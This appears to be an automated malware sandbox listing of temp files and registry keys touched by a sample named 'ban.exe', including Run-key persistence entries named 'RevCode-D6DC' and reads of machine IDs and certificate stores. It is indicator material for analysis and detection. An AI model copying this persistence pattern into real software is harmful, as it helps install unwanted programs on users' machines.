C:\Users\Seven01\AppData\Local\Temp\TarC060.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE6C5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE6C6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabE754.tmp
C:\Users\Seven01\AppData\Local\Temp\TarE755.tmp

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_CURRENT_USER\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\OnlyUseLatestCLR
Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\Standards\v4.0.30319
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\v4.0.30319\SKUs\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\v4.0.30319\SKUs\default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\NET Framework Setup\NDP\v4\Full\Release
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ban.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_CURRENT_USER\Software\Microsoft\Fusion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseRetryAttempts
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\FileInUseMillisecondsBetweenRetries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\NGen\Policy\v4.0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NGen\Policy\v4.0\OptimizeUsedBinaries
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\Servicing
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it-IT
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it-IT
HKEY_LOCAL_MACHINE\Software\Microsoft\StrongName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AltJit
HKEY_LOCAL_MACHINE\Software\Microsoft\Fusion\PublisherPolicy\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index21
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000410
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\Defaults\Provider Types\Type 024\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Drawing__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide\AssemblyStorageRoots
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-us
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000409
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\ban.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\65EFA6D1
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\it
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\it
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.10.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Core__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Numerics__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Windows.Forms__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Xml.Linq__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\v4.0_policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.4.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\FORCE_ASSEMREF_DUPCHECK
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\NicPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\RegistryRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\AssemblyPath2
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-US
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SESSION MANAGER\SafeProcessSearchMode
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Codepage
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\932
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\949
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\950
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CodePage\936
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VBA\Monitors
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\RevCode-D6DC
HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\RevCode-D6DC
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\crypt32
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DebugHeapFlags
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\vbc.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_HTTP_USERNAME_PASSWORD_DISABLE\*
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\Tracing
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\Tracing\Enabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ShareCredsWithWinHttp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\WinHttp\DisableBranchCache
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextLockCount
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SecurityProviders\SCHANNEL\UserContextListCount
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.44.3.4!7\Name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\p2pcollab.dll,-8042
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.47.1.1!7\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.64.1.1!7\Name
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\7F06864B\@%SystemRoot%\system32\dnsapi.dll,-103
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagLevel
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\crypt32\DiagMatchAnyMask
HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\ChainEngine\Config
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableMandatoryBasicConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableCANameConstraints
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\#16
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CertDllOpenStoreProv\Ldap
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 1\CertDllOpenStoreProv
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\My\Keys
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\CA\CTLs
HKEY_CURRENT_USER\
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\EnterpriseCertificates\CA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\CTLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\TrustedPublisher\Safer
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\PhysicalStores
HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SystemCertificates\Disallowed
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs
